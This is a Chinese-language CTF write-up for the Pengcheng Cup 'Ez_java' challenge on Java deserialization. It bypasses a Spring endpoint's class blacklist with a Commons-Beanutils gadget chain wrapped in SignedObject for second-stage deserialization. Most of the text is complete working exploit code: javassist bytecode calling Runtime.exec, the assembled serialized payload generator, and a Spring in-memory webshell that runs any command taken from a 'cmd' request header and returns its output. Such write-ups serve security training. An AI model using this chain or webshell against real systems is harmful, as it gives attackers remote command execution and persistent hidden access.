鹏城杯Ez_java
分析
看源码
关注到这,考察反序列化
@ResponseBody
@PostMapping({"/read"})
public String read(@RequestParam(name = "data", required = true) String data) throws IOException, ClassNotFoundException {
byte[] b = Base64.getDecoder().decode(data);
InputStream bis = new ByteArrayInputStream(b);
Secure ois = new Secure(bis);
ois.readObject();
return ";
}
有这个黑名单
黑名单怎么办呢
看到了禁用了cc1和cc4的ChainedTransformer,还有cc4的InstantiateTransformer,这样就断了cc1和cc4的gadget
但是在包里可以看到cb依赖,尝试cb反序列化,我平时用的是cb的TemplatesImpl执行rce代码,但是这里可以看到我们的TemolatesImpl已经在黑名单了,所以使用runtime.exec,那么我们需要找到一处invoke任意调用。
这里可以使用cc依赖的Transformer,可以看到没在黑名单里,可是呢,cb没有调用Transformer的先例,那这样一来就必须使用我们在虎符见到的小trick
当时虎符为了绕过hessian反序列化时被 transient 修饰的 _tfactory 对象无法写入造成空指针异常
这个限制,使用了同时具备readobject,有getter方法且无参数,继承Serializable的类java.security.SignedObject
该类可以实现二次反序列化,二次反序列化有利于我们把TempImpl序列化两次后再触发,这样的话反序列化一次(readobject)的时候waf是看不到Templmpl的,这样就实现了绕过!
ps:
可以runtime.exec的下一步不是急着反弹shell,而是打下dnslog,这样判断是否出网。
ps:
在写链子的时候,二次反序列化的类比如说SignedObject,咱们直接把它当作readobject使用就行
而这里是不出网的,就需要注入内存马,内存马就是一个编译好的静态jar,然后
整理下:
cb(把TemplateImpl去掉)->SignedObject ->cb(把序列化开头去掉)->
内存马
环境搭建
我的环境项目在D:\各种框架源码\demo
新建项目,选择这个
保证有spring和Maven就行,因为后面很多依赖要让maven帮忙安装,但是maven实测极难安装springframework,所以要选Spring项目让idea提供
随后复制黏贴pom.xml,选中pom.xml右击maven加载项目即可。
写exp
我们需要找到这些材料:
- cb的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class person {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
BeanComparator outputProperties = new BeanComparator("outputProperties");
// outputProperties.compare(templates,new TemplatesImpl());
TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
setValue(priorityQueue, "comparator", outputProperties);
serialize(priorityQueue);
unserialize("ser.bin");
}
}
蛮短的,分析起来就4个类好像
- 二次反序列化SignedObject
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signature);
按照这个思路:cb(把TemplateImpl去掉)->SignedObject ->cb(把序列化开头去掉)
很快可以缝合成如下(记得一些类要重命名)
package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.security.*;
public class CbPoc {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
BeanComparator outputProperties = new BeanComparator("outputProperties");
// outputProperties.compare(templates,new TemplatesImpl());
TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
setValue(priorityQueue, "comparator", outputProperties);
//serialize(priorityQueue);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signature);
BeanComparator outputProperties1 = new BeanComparator("outputProperties");
// outputProperties.compare(templates,new TemplatesImpl());
TransformingComparator ioTransformingComparator1 = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue1 = new PriorityQueue<>(ioTransformingComparator1);
priorityQueue1.add(signedObject);
priorityQueue1.add(signedObject);
setValue(priorityQueue1, "comparator", outputProperties1);
serialize(priorityQueue1);
unserialize("ser.bin");
}
}
但是这样很快发现
BeanComparator outputProperties1 = new BeanComparator("outputProperties");
这里报错
回头去看看这个字符串的原理,其实是:
可能你会想问为什么是"outputProperties",总之记得这里是需要一个javaBean的属性名,而在这里写下它的属性名(首字母要小写),后续就会调用它的get方法或者set方法
TempImpl要用”outputProperties“首先是因为
这是个属性,当然作为javaBean它也又get方法
更重要的是他在tempImpl的触发rce的机制中是必要的
(就是这个newTransformer)
而这次在signedObject中,首先没有outputProperties这个属性
那应该是哪个呢,背景是我们想要实现序列化传入的第一个参数,我们进去一看就知道
第一个参数会被赋值到会放到这里的this.content,不过这里直接BeanComparator outputProperties1 = new BeanComparator("content");是无效的,因为必须要调用getObject方法,所以我们BeanComparator outputProperties1 = new BeanComparator("object");
可能有人会问Object在这里不是属性,emmmm,JavaBean会把有get方法的后面那个get的名字当作属性,很6
之后本地试了下poc打spring,是可以弹计算器的,不过无回显不出网,这就要研究下内存马
内存马是如何使用的呢?其实就是我们poc自定义的getTemplatesImpl返回的字节码,替换成内存马的字节码就行。
所以思路是:先写个内存马,编译为class文件读入
miku找到了个内存马
package com.example.pengchengbei;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String) getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
catch (Exception e){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
在这个类里面写个main方法new这个类,随后运行,接着找到它生成的class文件,把它的路径拷下来,然后魔改下前面的poc放入,如下
package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class MemoryShell extends AbstractTranslet
{
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String) getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
catch (Exception e){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args)
{
new MemoryShell();
}
}
该马的使用方法是head里面加上cmd=命令